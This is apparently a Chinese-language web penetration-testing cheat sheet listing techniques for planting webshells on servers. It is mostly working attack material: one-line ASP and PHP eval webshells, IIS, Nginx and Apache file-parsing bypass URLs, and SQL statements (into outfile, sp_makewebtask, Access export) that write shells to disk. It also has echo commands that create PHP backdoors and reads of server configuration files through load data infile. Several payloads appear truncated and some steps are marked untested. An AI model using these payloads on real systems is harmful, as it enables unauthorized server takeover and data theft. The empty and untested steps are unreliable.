Getshell的各种姿势

一、进后台Getshell

1、管理员后台直接Getshell

管理员后台直接上传

如果被Waf拦截 上传不加密的WebShell 先小

如果有权限改后台文件名 在文件名前加 …/尝试目录穿越

ex:a.php ->…/a.php

2、后台数据库备份Getshell

上传图片马并获取图片马路径,通过数据库备份修改后缀名,如有后缀名无法修改或路径无法修改限制可修改前端代码绕过.

当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可)

<%eval request ("pass")%> 

然后再通过备份数据库后访问此界面Getshell。

3、各类上传Getshell

通常会碰到各种上传图片后图片重绘的情况
尝试使用工具绕过

有待补充

看这个大佬的文章
https://xz.aliyun.com/t/2657

4、修改网站上传类型Getshell

修改网站上传类型,后台设置中添加aasps|asp|php|jsp|aspx|asa|cer,
保存后上传aasps等格式的文件,上传后为asp文件可以解析,Getshell

5、上传其他脚本类型Getshell

这种情况适用于一台服务器中有多个网站

如a网站为asp脚本,b网站为php脚本,而a中限制了上传文件类型为asp的文件,此时可以上传php的脚本,来拿shell;也可以尝试脚本文件后缀名改为asa或者在后面直接加个.如xx.asp.来突破文件类型限制进行上传来Getshell

有待补充

6、解析漏洞Getshell

各种中间件存在着各式各样的解析漏洞

A、IIS6.0解析漏洞

http://www.xxx.com/xx.asp/xx.jpg //

http://www.xxx.com/xx.asp/xx.txt

http://www.xxx.com/xx.asp/xx.asp;jpg

B、IIS7.0/7.5、Nginx<8.0解析漏洞

http://www.xxx.com/xx.jpg/.php

C、Nginx<8.03空字节代码执行漏洞

版本范围:Nginx0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

http://www.xxx.com/xx.jpg%00.php

D、Apache解析漏洞

a、多后缀名

http://www.xxx.com/xx.php.owf.rar
werner.txt.png.mp3

b、罕见后缀

php、phtml、pht、php3、php4和php5为后缀,能成功看到“HELLO WORLD”;以phps为后缀,会报403错误,Forbidden;以php3p为后缀,会在浏览器中看到源码。

c、妙用.htaccess(分布式配置文件)

使.htaccess文件生效,需要两个条件:

一是在Apache的配置文件中写上

  AllowOverride All

二是Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:

  LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

若是在Ubuntu中,可能还需要执行命令:

 sudo a2enmod rewrite

配置完后需要重启Apache。

7、编辑器漏洞Getshell

此处要链接到另外一篇文章
https://blog.csdn.net/qq_40806924/article/details/118307640?spm=1001.2014.3001.5501

8、网站配置插马Getshell

进入后台后,网站配置插马getshell,可以找到源码本地搭建,插入时注意与源码闭合,如果插入出错可能导致网站报废。如asp中单引号表示单行注释作用"%><%eval request(“password”)%><%’

9、编辑器模版Getshell

通过网站的模版编写一句话,然后生成脚本文件getshell 通过将木马添加到压缩文件,把名字改为网站的模版类型,上传到服务器,getshell)(新建或修改目录名为xx.asp/ 此目录下的jsp,html会以asp执行,配置iis6.有0解析漏洞

10、修改脚本文件Getshell

修改后台脚本文件插入一句话直接Getshell,尽量插在头和尾。

###上传插件、更新页面Getshell

wordpress,dz等,如编辑wordpress404页面插入一句话,可以先下载对应版本找到404路径,部分OA上传插件Getshell, jboss,tomcat上传war包getshell等

有待实验

11、执行sql语句写入Webshell

首先执行错误的sql语句,使其暴露出网站的根目录以,ecshop为例,进入后台执行sql查询

select "" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";

执行该语法的时候 可能使用到 / 或者 \ 转义 或者末尾需要分号 ;

也可以先将一句话通过ecshop的新建管理员写入到user表中,然后通过数据库备份配合解析漏洞Getshell。(有待验证)

12、命令执行Getshell

适应PHP

Windows

echo ^<^?php @eval($_POST[xxx]);?^>^  >c:\mua.php

Linux

echo -e "" > mua.php

Linux需要在$前加\进行防转义,Windows需要在<前加^防转义, 多多尝试

13、文件包含Getshell

文件包含有时可绕过waf

asp包含

include file="123.jpg"调用的文件必须和被调用的文件在同一目录,否则找不到,如果不在同一目录,用下面语句也使用如下代码include virtual=“文件所在目录/123.jpg” 配合可解析的图片。

php包含


14、数据库命令执行Getshell

下面结果有待验证:

1、Access可导出xxx等文件需要配合 解析漏洞

create table cmd (a varchar(50));
insert into cmd (a) values ('muma') # 如:<%execute request(1)%>

select * into [a] 'e:\web\webshellcc\1.asa;x.xls''excel 4.0;' from cmd 

drop table cmd 

菜刀直连

https://xxx/1.asa;x.xls

2、SQL Sever导出

exec  sp_makewebtask 'C:\test.php' ,'select  "<%eval request("pass")%>"  '--

#exec 执行存储过程

3、Mysql导出
phpMyAdmin

A、

create TABLE xiaoma (xiaoma1 text NOT NULL)
insert into xiaoma (xiaoma1) values('');

select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/1.php';
DROP TABLE IF EXISTS xiaoma;

B、

`select " into outfile 'D:/phpstudy/www/1.php'`

C、数据库路径未知时 GetShell

create table a(a text);load data infile "C:/phpstudy/Apache/conf/httpd.conf"
//创建表a 将httpd.conf 写入到表a中. load data infile 导入数据

随后导出 ,下载 ,打开搜索documentroot,网站路径存于此
Getshell的各种姿势_第1张图片
用一下大佬的图

还可能存在的一些路径:

#Win
c:\windows\php.ini #php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件

#Linux
/etc/php.ini  # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf

二、不进后台Getshell

1、0day Getshell
2、写入日志Getshell
3、IIS/Tomcat写权限Getshell
4、上传漏洞Getshell
5、上传会员头像Getshell
6、注入漏洞Getshell
7、远程命令执行
8、其他漏洞GetshellIIS6.0解析漏洞

你可能感兴趣的:(WEB渗透测试)